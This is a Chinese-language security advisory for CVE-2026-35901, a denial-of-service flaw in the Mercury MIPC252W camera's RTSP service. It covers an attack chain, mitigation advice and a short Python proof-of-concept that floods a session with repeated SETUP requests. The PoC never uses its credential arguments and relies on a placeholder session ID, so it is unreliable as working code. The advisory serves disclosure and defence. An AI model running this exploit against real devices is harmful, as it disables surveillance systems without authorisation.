IPBUF安全漏洞报告
English
CVE-2026-35901 CVSS 4.4 中危

CVE-2026-35901 Mercury MIPC252W RTSP拒绝服务漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-35901
漏洞类型
拒绝服务
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Mercury MIPC252W

相关标签

拒绝服务RTSPMercuryIoTDoS

漏洞概述

Mercury MIPC252W摄像头的RTSP服务存在处理逻辑缺陷。经过身份验证的攻击者可在单个RTSP会话中,针对同一媒体轨道重复发送SETUP请求。此异常行为导致服务器无法正确处理请求序列,进而重置RTSP连接,引发拒绝服务状态,导致监控服务不可用。

技术细节

该漏洞源于Mercury MIPC252W设备固件版本1.0.5中RTSP服务的状态机实现缺陷。在正常的RTSP协议交互中,针对同一媒体轨道的SETUP请求通常应被拒绝或复用现有会话。然而,目标设备在处理重复SETUP请求时存在逻辑错误,未能维护会话的一致性。攻击者需首先通过高权限账户建立RTSP会话,随后构造并发送针对同一媒体轨道的SETUP请求包。由于服务端缺乏对重复SETUP操作的校验机制,导致会话状态崩溃,强制服务器重置TCP连接。由于攻击需要高权限,风险主要限于已获初始访问的内部网络环境或通过其他漏洞提权后的场景。

攻击链分析

STEP 1
步骤1
攻击者获取设备的高权限认证凭据。
STEP 2
步骤2
攻击者建立与目标设备RTSP服务的连接。
STEP 3
步骤3
发送初始SETUP请求以建立媒体会话。
STEP 4
步骤4
在同一会话中重复发送针对同一轨道的SETUP请求。
STEP 5
步骤5
服务器处理异常,重置连接,导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket def exploit_rtsp_dos(target_ip, target_port, username, password): """ PoC for CVE-2026-35901 Trigger DoS by sending repeated SETUP requests. """ # Connect to RTSP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Basic RTSP Sequence (Simplified) # 1. DESCRIBE (Not always strictly needed for the specific crash, but good for context) # 2. SETUP (Initial) # 3. SETUP (Repeated - Trigger) url = f"rtsp://{target_ip}:{target_port}/live" session_id = "123456" # Placeholder, usually extracted from server response # Sending repeated SETUP requests to the same track for i in range(10): payload = f"SETUP {url}/trackID=1 RTSP/1.0\r\n" payload += f"CSeq: {i}\r\n" payload += f"Session: {session_id}\r\n" payload += "Transport: RTP/AVP;unicast;client_port=5000-5001\r\n\r\n" try: s.send(payload.encode()) print(f"Sent SETUP request {i}") except Exception as e: print(f"Connection reset by peer: {e}") break s.close() if __name__ == "__main__": # Replace with actual target details exploit_rtsp_dos("192.168.1.100", 554, "admin", "admin")

影响范围

Mercury MIPC252W 1.0.5 Build 230306 Rel.79931n

防御指南

临时缓解措施
建议用户暂时禁用RTSP服务或通过防火墙规则严格限制对RTSP端口(默认554)的访问,仅允许必要的监控管理终端连接,直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表